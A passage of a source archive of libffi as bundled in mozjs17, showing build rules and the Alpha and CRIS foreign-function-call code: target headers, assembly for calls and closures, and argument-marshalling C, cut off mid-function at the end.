src/powerpc/aix_closure.S endif if POWERPC_DARWIN nodist_libffi_la_SOURCES += src/powerpc/ffi_darwin.c src/powerpc/darwin.S src/powerpc/darwin_closure.S endif if POWERPC_FREEBSD nodist_libffi_la_SOURCES += src/powerpc/ffi.c src/powerpc/sysv.S src/powerpc/ppc_closure.S endif if ARM nodist_libffi_la_SOURCES += src/arm/sysv.S src/arm/ffi.c endif if AVR32 nodist_libffi_la_SOURCES += src/avr32/sysv.S src/avr32/ffi.c endif if LIBFFI_CRIS nodist_libffi_la_SOURCES += src/cris/sysv.S src/cris/ffi.c endif if FRV nodist_libffi_la_SOURCES += src/frv/eabi.S src/frv/ffi.c endif if MOXIE nodist_libffi_la_SOURCES += src/moxie/eabi.S src/moxie/ffi.c endif if S390 nodist_libffi_la_SOURCES += src/s390/sysv.S src/s390/ffi.c endif if X86_64 nodist_libffi_la_SOURCES += src/x86/ffi64.c src/x86/unix64.S src/x86/ffi.c src/x86/sysv.S endif if SH nodist_libffi_la_SOURCES += src/sh/sysv.S src/sh/ffi.c endif if SH64 nodist_libffi_la_SOURCES += src/sh64/sysv.S src/sh64/ffi.c endif if PA_LINUX nodist_libffi_la_SOURCES += src/pa/linux.S src/pa/ffi.c endif if PA_HPUX nodist_libffi_la_SOURCES += src/pa/hpux32.S src/pa/ffi.c endif libffi_convenience_la_SOURCES = $(libffi_la_SOURCES) nodist_libffi_convenience_la_SOURCES = $(nodist_libffi_la_SOURCES) AM_CFLAGS = -Wall -g -fexceptions if FFI_DEBUG # Build debug. Define FFI_DEBUG on the commandline so that, when building with # MSVC, it can link against the debug CRT. AM_CFLAGS += -DFFI_DEBUG else # Build opt. AM_CFLAGS += -O2 endif libffi_la_LDFLAGS = -version-info `grep -v '^\#' $(srcdir)/libtool-version` $(LTLDFLAGS) $(AM_LTLDFLAGS) AM_CPPFLAGS = -I. -I$(top_srcdir)/include -Iinclude -I$(top_srcdir)/src AM_CCASFLAGS = $(AM_CPPFLAGS) # No install-html or install-pdf support in automake yet .PHONY: install-html install-pdf install-html: install-pdf: mozjs17.0.0/js/src/ctypes/libffi/src/0000775000175000017500000000000012106270662017334 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/alpha/0000775000175000017500000000000012106270662020421 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/alpha/ffitarget.h0000664000175000017500000000335312106270662022551 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Target configuration macros for Alpha. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_OSF, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_OSF } ffi_abi; #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_TRAMPOLINE_SIZE 24 #define FFI_NATIVE_RAW_API 0 #endif mozjs17.0.0/js/src/ctypes/libffi/src/alpha/osf.S0000664000175000017500000001716012106270662021341 0ustar sstanglsstangl/* ----------------------------------------------------------------------- osf.S - Copyright (c) 1998, 2001, 2007, 2008 Red Hat Alpha/OSF Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include .arch ev6 .text /* ffi_call_osf (void *args, unsigned long bytes, unsigned flags, void *raddr, void (*fnaddr)(void)); Bit o trickiness here -- ARGS+BYTES is the base of the stack frame for this function. This has been allocated by ffi_call. We also deallocate some of the stack that has been alloca'd. */ .align 3 .globl ffi_call_osf .ent ffi_call_osf FFI_HIDDEN(ffi_call_osf) ffi_call_osf: .frame $15, 32, $26, 0 .mask 0x4008000, -32 $LFB1: addq $16,$17,$1 mov $16, $30 stq $26, 0($1) stq $15, 8($1) stq $18, 16($1) mov $1, $15 $LCFI1: .prologue 0 stq $19, 24($1) mov $20, $27 # Load up all of the (potential) argument registers. ldq $16, 0($30) ldt $f16, 0($30) ldt $f17, 8($30) ldq $17, 8($30) ldt $f18, 16($30) ldq $18, 16($30) ldt $f19, 24($30) ldq $19, 24($30) ldt $f20, 32($30) ldq $20, 32($30) ldt $f21, 40($30) ldq $21, 40($30) # Deallocate the register argument area. lda $30, 48($30) jsr $26, ($27), 0 ldgp $29, 0($26) # If the return value pointer is NULL, assume no return value. ldq $19, 24($15) ldq $18, 16($15) ldq $26, 0($15) $LCFI2: beq $19, $noretval # Store the return value out in the proper type. cmpeq $18, FFI_TYPE_INT, $1 bne $1, $retint cmpeq $18, FFI_TYPE_FLOAT, $2 bne $2, $retfloat cmpeq $18, FFI_TYPE_DOUBLE, $3 bne $3, $retdouble .align 3 $noretval: ldq $15, 8($15) ret .align 4 $retint: stq $0, 0($19) nop ldq $15, 8($15) ret .align 4 $retfloat: sts $f0, 0($19) nop ldq $15, 8($15) ret .align 4 $retdouble: stt $f0, 0($19) nop ldq $15, 8($15) ret $LFE1: .end ffi_call_osf /* ffi_closure_osf(...) Receives the closure argument in $1. */ .align 3 .globl ffi_closure_osf .ent ffi_closure_osf FFI_HIDDEN(ffi_closure_osf) ffi_closure_osf: .frame $30, 16*8, $26, 0 .mask 0x4000000, -16*8 $LFB2: ldgp $29, 0($27) subq $30, 16*8, $30 $LCFI5: stq $26, 0($30) $LCFI6: .prologue 1 # Store all of the potential argument registers in va_list format. stt $f16, 4*8($30) stt $f17, 5*8($30) stt $f18, 6*8($30) stt $f19, 7*8($30) stt $f20, 8*8($30) stt $f21, 9*8($30) stq $16, 10*8($30) stq $17, 11*8($30) stq $18, 12*8($30) stq $19, 13*8($30) stq $20, 14*8($30) stq $21, 15*8($30) # Call ffi_closure_osf_inner to do the bulk of the work. mov $1, $16 lda $17, 2*8($30) lda $18, 10*8($30) jsr $26, ffi_closure_osf_inner ldgp $29, 0($26) ldq $26, 0($30) # Load up the return value in the proper type. lda $1, $load_table s4addq $0, $1, $1 ldl $1, 0($1) addq $1, $29, $1 jmp $31, ($1), $load_32 .align 4 $load_none: addq $30, 16*8, $30 ret .align 4 $load_float: lds $f0, 16($30) nop addq $30, 16*8, $30 ret .align 4 $load_double: ldt $f0, 16($30) nop addq $30, 16*8, $30 ret .align 4 $load_u8: #ifdef __alpha_bwx__ ldbu $0, 16($30) nop #else ldq $0, 16($30) and $0, 255, $0 #endif addq $30, 16*8, $30 ret .align 4 $load_s8: #ifdef __alpha_bwx__ ldbu $0, 16($30) sextb $0, $0 #else ldq $0, 16($30) sll $0, 56, $0 sra $0, 56, $0 #endif addq $30, 16*8, $30 ret .align 4 $load_u16: #ifdef __alpha_bwx__ ldwu $0, 16($30) nop #else ldq $0, 16($30) zapnot $0, 3, $0 #endif addq $30, 16*8, $30 ret .align 4 $load_s16: #ifdef __alpha_bwx__ ldwu $0, 16($30) sextw $0, $0 #else ldq $0, 16($30) sll $0, 48, $0 sra $0, 48, $0 #endif addq $30, 16*8, $30 ret .align 4 $load_32: ldl $0, 16($30) nop addq $30, 16*8, $30 ret .align 4 $load_64: ldq $0, 16($30) nop addq $30, 16*8, $30 ret $LFE2: .end ffi_closure_osf #ifdef __ELF__ .section .rodata #else .rdata #endif $load_table: .gprel32 $load_none # FFI_TYPE_VOID .gprel32 $load_32 # FFI_TYPE_INT .gprel32 $load_float # FFI_TYPE_FLOAT .gprel32 $load_double # FFI_TYPE_DOUBLE .gprel32 $load_none # FFI_TYPE_LONGDOUBLE .gprel32 $load_u8 # FFI_TYPE_UINT8 .gprel32 $load_s8 # FFI_TYPE_SINT8 .gprel32 $load_u16 # FFI_TYPE_UINT16 .gprel32 $load_s16 # FFI_TYPE_SINT16 .gprel32 $load_32 # FFI_TYPE_UINT32 .gprel32 $load_32 # FFI_TYPE_SINT32 .gprel32 $load_64 # FFI_TYPE_UINT64 .gprel32 $load_64 # FFI_TYPE_SINT64 .gprel32 $load_none # FFI_TYPE_STRUCT .gprel32 $load_64 # FFI_TYPE_POINTER /* Assert that the table above is in sync with ffi.h. */ #if FFI_TYPE_FLOAT != 2 \ || FFI_TYPE_DOUBLE != 3 \ || FFI_TYPE_UINT8 != 5 \ || FFI_TYPE_SINT8 != 6 \ || FFI_TYPE_UINT16 != 7 \ || FFI_TYPE_SINT16 != 8 \ || FFI_TYPE_UINT32 != 9 \ || FFI_TYPE_SINT32 != 10 \ || FFI_TYPE_UINT64 != 11 \ || FFI_TYPE_SINT64 != 12 \ || FFI_TYPE_STRUCT != 13 \ || FFI_TYPE_POINTER != 14 \ || FFI_TYPE_LAST != 14 #error "osf.S out of sync with ffi.h" #endif #ifdef __ELF__ .section .eh_frame,EH_FRAME_FLAGS,@progbits __FRAME_BEGIN__: .4byte $LECIE1-$LSCIE1 # Length of Common Information Entry $LSCIE1: .4byte 0x0 # CIE Identifier Tag .byte 0x1 # CIE Version .ascii "zR\0" # CIE Augmentation .byte 0x1 # uleb128 0x1; CIE Code Alignment Factor .byte 0x78 # sleb128 -8; CIE Data Alignment Factor .byte 26 # CIE RA Column .byte 0x1 # uleb128 0x1; Augmentation size .byte 0x1b # FDE Encoding (pcrel sdata4) .byte 0xc # DW_CFA_def_cfa .byte 30 # uleb128 column 30 .byte 0 # uleb128 offset 0 .align 3 $LECIE1: $LSFDE1: .4byte $LEFDE1-$LASFDE1 # FDE Length $LASFDE1: .4byte $LASFDE1-__FRAME_BEGIN__ # FDE CIE offset .4byte $LFB1-. # FDE initial location .4byte $LFE1-$LFB1 # FDE address range .byte 0x0 # uleb128 0x0; Augmentation size .byte 0x4 # DW_CFA_advance_loc4 .4byte $LCFI1-$LFB1 .byte 0x9a # DW_CFA_offset, column 26 .byte 4 # uleb128 4*-8 .byte 0x8f # DW_CFA_offset, column 15 .byte 0x3 # uleb128 3*-8 .byte 0xc # DW_CFA_def_cfa .byte 15 # uleb128 column 15 .byte 32 # uleb128 offset 32 .byte 0x4 # DW_CFA_advance_loc4 .4byte $LCFI2-$LCFI1 .byte 0xda # DW_CFA_restore, column 26 .align 3 $LEFDE1: $LSFDE3: .4byte $LEFDE3-$LASFDE3 # FDE Length $LASFDE3: .4byte $LASFDE3-__FRAME_BEGIN__ # FDE CIE offset .4byte $LFB2-. # FDE initial location .4byte $LFE2-$LFB2 # FDE address range .byte 0x0 # uleb128 0x0; Augmentation size .byte 0x4 # DW_CFA_advance_loc4 .4byte $LCFI5-$LFB2 .byte 0xe # DW_CFA_def_cfa_offset .byte 0x80,0x1 # uleb128 128 .byte 0x4 # DW_CFA_advance_loc4 .4byte $LCFI6-$LCFI5 .byte 0x9a # DW_CFA_offset, column 26 .byte 16 # uleb128 offset 16*-8 .align 3 $LEFDE3: #ifdef __linux__ .section .note.GNU-stack,"",@progbits #endif #endif mozjs17.0.0/js/src/ctypes/libffi/src/alpha/ffi.c0000664000175000017500000001632312106270662021336 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 1998, 2001, 2007, 2008 Red Hat, Inc. Alpha Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include /* Force FFI_TYPE_LONGDOUBLE to be different than FFI_TYPE_DOUBLE; all further uses in this file will refer to the 128-bit type. */ #if defined(__LONG_DOUBLE_128__) # if FFI_TYPE_LONGDOUBLE != 4 # error FFI_TYPE_LONGDOUBLE out of date # endif #else # undef FFI_TYPE_LONGDOUBLE # define FFI_TYPE_LONGDOUBLE 4 #endif extern void ffi_call_osf(void *, unsigned long, unsigned, void *, void (*)(void)) FFI_HIDDEN; extern void ffi_closure_osf(void) FFI_HIDDEN; ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { /* Adjust cif->bytes to represent a minimum 6 words for the temporary register argument loading area. */ if (cif->bytes < 6*FFI_SIZEOF_ARG) cif->bytes = 6*FFI_SIZEOF_ARG; /* Set the return type flag */ switch (cif->rtype->type) { case FFI_TYPE_STRUCT: case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: cif->flags = cif->rtype->type; break; case FFI_TYPE_LONGDOUBLE: /* 128-bit long double is returned in memory, like a struct. */ cif->flags = FFI_TYPE_STRUCT; break; default: cif->flags = FFI_TYPE_INT; break; } return FFI_OK; } void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { unsigned long *stack, *argp; long i, avn; ffi_type **arg_types; /* If the return value is a struct and we don't have a return value address then we need to make one. */ if (rvalue == NULL && cif->flags == FFI_TYPE_STRUCT) rvalue = alloca(cif->rtype->size); /* Allocate the space for the arguments, plus 4 words of temp space for ffi_call_osf. */ argp = stack = alloca(cif->bytes + 4*FFI_SIZEOF_ARG); if (cif->flags == FFI_TYPE_STRUCT) *(void **) argp++ = rvalue; i = 0; avn = cif->nargs; arg_types = cif->arg_types; while (i < avn) { size_t size = (*arg_types)->size; switch ((*arg_types)->type) { case FFI_TYPE_SINT8: *(SINT64 *) argp = *(SINT8 *)(* avalue); break; case FFI_TYPE_UINT8: *(SINT64 *) argp = *(UINT8 *)(* avalue); break; case FFI_TYPE_SINT16: *(SINT64 *) argp = *(SINT16 *)(* avalue); break; case FFI_TYPE_UINT16: *(SINT64 *) argp = *(UINT16 *)(* avalue); break; case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: /* Note that unsigned 32-bit quantities are sign extended. */ *(SINT64 *) argp = *(SINT32 *)(* avalue); break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: case FFI_TYPE_POINTER: *(UINT64 *) argp = *(UINT64 *)(* avalue); break; case FFI_TYPE_FLOAT: if (argp - stack < 6) { /* Note the conversion -- all the fp regs are loaded as doubles. The in-register format is the same. */ *(double *) argp = *(float *)(* avalue); } else *(float *) argp = *(float *)(* avalue); break; case FFI_TYPE_DOUBLE: *(double *) argp = *(double *)(* avalue); break; case FFI_TYPE_LONGDOUBLE: /* 128-bit long double is passed by reference. */ *(long double **) argp = (long double *)(* avalue); size = sizeof (long double *); break; case FFI_TYPE_STRUCT: memcpy(argp, *avalue, (*arg_types)->size); break; default: FFI_ASSERT(0); } argp += ALIGN(size, FFI_SIZEOF_ARG) / FFI_SIZEOF_ARG; i++, arg_types++, avalue++; } ffi_call_osf(stack, cif->bytes, cif->flags, rvalue, fn); } ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*, void*, void**, void*), void *user_data, void *codeloc) { unsigned int *tramp; tramp = (unsigned int *) &closure->tramp[0]; tramp[0] = 0x47fb0401; /* mov $27,$1 */ tramp[1] = 0xa77b0010; /* ldq $27,16($27) */ tramp[2] = 0x6bfb0000; /* jmp $31,($27),0 */ tramp[3] = 0x47ff041f; /* nop */ *(void **) &tramp[4] = ffi_closure_osf; closure->cif = cif; closure->fun = fun; closure->user_data = user_data; /* Flush the Icache. Tru64 UNIX as doesn't understand the imb mnemonic, so use call_pal instead, since both Compaq as and gas can handle it. 0x86 is PAL_imb in Tru64 UNIX . */ asm volatile ("call_pal 0x86" : : : "memory"); return FFI_OK; } long FFI_HIDDEN ffi_closure_osf_inner(ffi_closure *closure, void *rvalue, unsigned long *argp) { ffi_cif *cif; void **avalue; ffi_type **arg_types; long i, avn, argn; cif = closure->cif; avalue = alloca(cif->nargs * sizeof(void *)); argn = 0; /* Copy the caller's structure return address to that the closure returns the data directly to the caller. */ if (cif->flags == FFI_TYPE_STRUCT) { rvalue = (void *) argp[0]; argn = 1; } i = 0; avn = cif->nargs; arg_types = cif->arg_types; /* Grab the addresses of the arguments from the stack frame. */ while (i < avn) { size_t size = arg_types[i]->size; switch (arg_types[i]->type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: case FFI_TYPE_POINTER: case FFI_TYPE_STRUCT: avalue[i] = &argp[argn]; break; case FFI_TYPE_FLOAT: if (argn < 6) { /* Floats coming from registers need conversion from double back to float format. */ *(float *)&argp[argn - 6] = *(double *)&argp[argn - 6]; avalue[i] = &argp[argn - 6]; } else avalue[i] = &argp[argn]; break; case FFI_TYPE_DOUBLE: avalue[i] = &argp[argn - (argn < 6 ? 6 : 0)]; break; case FFI_TYPE_LONGDOUBLE: /* 128-bit long double is passed by reference. */ avalue[i] = (long double *) argp[argn]; size = sizeof (long double *); break; default: abort (); } argn += ALIGN(size, FFI_SIZEOF_ARG) / FFI_SIZEOF_ARG; i++; } /* Invoke the closure. */ closure->fun (cif, rvalue, avalue, closure->user_data); /* Tell ffi_closure_osf how to perform return type promotions. */ return cif->rtype->type; } mozjs17.0.0/js/src/ctypes/libffi/src/cris/0000775000175000017500000000000012106270662020274 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/cris/ffitarget.h0000664000175000017500000000362512106270662022426 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Target configuration macros for CRIS. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_SYSV, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_SYSV } ffi_abi; #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_CRIS_TRAMPOLINE_CODE_PART_SIZE 36 #define FFI_CRIS_TRAMPOLINE_DATA_PART_SIZE (7*4) #define FFI_TRAMPOLINE_SIZE \ (FFI_CRIS_TRAMPOLINE_CODE_PART_SIZE + FFI_CRIS_TRAMPOLINE_DATA_PART_SIZE) #define FFI_NATIVE_RAW_API 0 #endif mozjs17.0.0/js/src/ctypes/libffi/src/cris/ffi.c0000664000175000017500000002266212106270662021214 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 1998 Cygnus Solutions Copyright (c) 2004 Simon Posnjak Copyright (c) 2005 Axis Communications AB Copyright (C) 2007 Free Software Foundation, Inc. CRIS Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SIMON POSNJAK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #define STACK_ARG_SIZE(x) ALIGN(x, FFI_SIZEOF_ARG) static ffi_status initialize_aggregate_packed_struct (ffi_type * arg) { ffi_type **ptr; FFI_ASSERT (arg != NULL); FFI_ASSERT (arg->elements != NULL); FFI_ASSERT (arg->size == 0); FFI_ASSERT (arg->alignment == 0); ptr = &(arg->elements[0]); while ((*ptr) != NULL) { if (((*ptr)->size == 0) && (initialize_aggregate_packed_struct ((*ptr)) != FFI_OK)) return FFI_BAD_TYPEDEF; FFI_ASSERT (ffi_type_test ((*ptr))); arg->size += (*ptr)->size; arg->alignment = (arg->alignment > (*ptr)->alignment) ? arg->alignment : (*ptr)->alignment; ptr++; } if (arg->size == 0) return FFI_BAD_TYPEDEF; else return FFI_OK; } int ffi_prep_args (char *stack, extended_cif * ecif) { unsigned int i; unsigned int struct_count = 0; void **p_argv; char *argp; ffi_type **p_arg; argp = stack; p_argv = ecif->avalue; for (i = ecif->cif->nargs, p_arg = ecif->cif->arg_types; (i != 0); i--, p_arg++) { size_t z; switch ((*p_arg)->type) { case FFI_TYPE_STRUCT: { z = (*p_arg)->size; if (z <= 4) { memcpy (argp, *p_argv, z); z = 4; } else if (z <= 8) { memcpy (argp, *p_argv, z); z = 8; } else { unsigned int uiLocOnStack; z = sizeof (void *); uiLocOnStack = 4 * ecif->cif->nargs + struct_count; struct_count = struct_count + (*p_arg)->size; *(unsigned int *) argp = (unsigned int) (UINT32 *) (stack + uiLocOnStack); memcpy ((stack + uiLocOnStack), *p_argv, (*p_arg)->size); } break; } default: z = (*p_arg)->size; if (z < sizeof (int)) { switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(signed int *) argp = (signed int) *(SINT8 *) (*p_argv); break; case FFI_TYPE_UINT8: *(unsigned int *) argp = (unsigned int) *(UINT8 *) (*p_argv); break; case FFI_TYPE_SINT16: *(signed int *) argp = (signed int) *(SINT16 *) (*p_argv); break; case FFI_TYPE_UINT16: *(unsigned int *) argp = (unsigned int) *(UINT16 *) (*p_argv); break; default: FFI_ASSERT (0); } z = sizeof (int); } else if (z == sizeof (int)) *(unsigned int *) argp = (unsigned int) *(UINT32 *) (*p_argv); else memcpy (argp, *p_argv, z); break; } p_argv++; argp += z; } return (struct_count); } ffi_status ffi_prep_cif (ffi_cif * cif, ffi_abi abi, unsigned int nargs, ffi_type * rtype, ffi_type ** atypes) { unsigned bytes = 0; unsigned int i; ffi_type **ptr; FFI_ASSERT (cif != NULL); FFI_ASSERT (abi > FFI_FIRST_ABI && abi < FFI_LAST_ABI); cif->abi = abi; cif->arg_types = atypes; cif->nargs = nargs; cif->rtype = rtype; cif->flags = 0; if ((cif->rtype->size == 0) && (initialize_aggregate_packed_struct (cif->rtype) != FFI_OK)) return FFI_BAD_TYPEDEF; FFI_ASSERT_VALID_TYPE (cif->rtype); for (ptr = cif->arg_types, i = cif->nargs; i > 0; i--, ptr++) { if (((*ptr)->size == 0) && (initialize_aggregate_packed_struct ((*ptr)) != FFI_OK)) return FFI_BAD_TYPEDEF; FFI_ASSERT_VALID_TYPE (*ptr); if (((*ptr)->alignment - 1) & bytes) bytes = ALIGN (bytes, (*ptr)->alignment); if ((*ptr)->type == FFI_TYPE_STRUCT) { if ((*ptr)->size > 8) { bytes += (*ptr)->size; bytes += sizeof (void *); } else { if ((*ptr)->size > 4) bytes += 8; else bytes += 4; } } else bytes += STACK_ARG_SIZE ((*ptr)->size); } cif->bytes = bytes; return ffi_prep_cif_machdep (cif); } ffi_status ffi_prep_cif_machdep (ffi_cif * cif) { switch (cif->rtype->type) { case FFI_TYPE_VOID: case FFI_TYPE_STRUCT: case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: cif->flags = (unsigned) cif->rtype->type; break; default: cif->flags = FFI_TYPE_INT; break; } return FFI_OK; } extern void ffi_call_SYSV (int (*)(char *, extended_cif *), extended_cif *, unsigned, unsigned, unsigned *, void (*fn) ()) __attribute__ ((__visibility__ ("hidden"))); void ffi_call (ffi_cif * cif, void (*fn) (), void *rvalue, void **avalue) { extended_cif ecif; ecif.cif = cif; ecif.avalue = avalue; if ((rvalue == NULL) && (cif->rtype->type == FFI_TYPE_STRUCT)) { ecif.rvalue = alloca (cif->rtype->size); } else ecif.rvalue = rvalue; switch (cif->abi) { case FFI_SYSV: ffi_call_SYSV (ffi_prep_args, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; default: FFI_ASSERT (0); break; } } /* Because the following variables are not exported outside libffi, we mark them hidden. */ /* Assembly code for the jump stub. */ extern const char ffi_cris_trampoline_template[] __attribute__ ((__visibility__ ("hidden"))); /* Offset into ffi_cris_trampoline_template of where to put the ffi_prep_closure_inner function. */ extern const int ffi_cris_trampoline_fn_offset __attribute__ ((__visibility__ ("hidden"))); /* Offset into ffi_cris_trampoline_template of where to put the closure data. */ extern const int ffi_cris_trampoline_closure_offset __attribute__ ((__visibility__ ("hidden"))); /* This function is sibling-called (jumped to) by the closure trampoline. We get R10..R13 at PARAMS[0..3] and a copy of [SP] at PARAMS[4] to simplify handling of a straddling parameter. A copy of R9 is at PARAMS[5] and SP at PARAMS[6]. These parameters are put at the appropriate place in CLOSURE which is then executed and the return value is passed back to the caller. */ static unsigned long long ffi_prep_closure_inner (void **params, ffi_closure* closure) { char *register_args = (char *) params; void *struct_ret = params[5]; char *stack_args = params[6]; char *ptr = register_args; ffi_cif *cif = closure->cif; ffi_type **arg_types = cif->arg_types; /* Max room needed is number of arguments as 64-bit values. */ void **avalue = alloca (closure->cif->nargs * sizeof(void *)); int i; int doing_regs; long long llret = 0; /* Find the address of each argument. */ for (i = 0, doing_regs = 1; i < cif->nargs; i++) { /* Types up to and including 8 bytes go by-value. */ if (arg_types[i]->size <= 4) { avalue[i] = ptr; ptr += 4; } else if (arg_types[i]->size <= 8) { avalue[i] = ptr; ptr += 8; } else { FFI_ASSERT (arg_types[i]->type == FFI_TYPE_STRUCT); /* Passed by-reference, so copy the pointer. */ avalue[i] = *(void **) ptr; ptr += 4; } /* If we've handled more arguments than fit in registers, start looking at the those passed on the stack. Step over the first one if we had a straddling parameter. */ if (doing_regs && ptr >= register_args + 4*4) { ptr = stack_args + ((ptr > register_args + 4*4) ? 4 : 0); doing_regs = 0; } } /* Invoke the closure. */ (closure->fun) (cif, cif->rtype->type == FFI_TYPE_STRUCT /* The caller allocated space for the return structure, and passed a pointer to this space in R9. */ ? struct_ret /* We take advantage of being able to ignore that the high part isn't set if the return value is not in R10:R11, but in R10 only. */ : (void *) &llret, avalue, closure->user_data); return llret; } /* API function: Prepare the trampoline. */ ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif *, void *, void **, void*), void *user_data, void *codeloc) { void *innerfn = ffi_prep_closure_inner; FFI_ASSERT (cif->abi == FFI_SYSV); closure->cif = cif; closure->user_data = user_data; 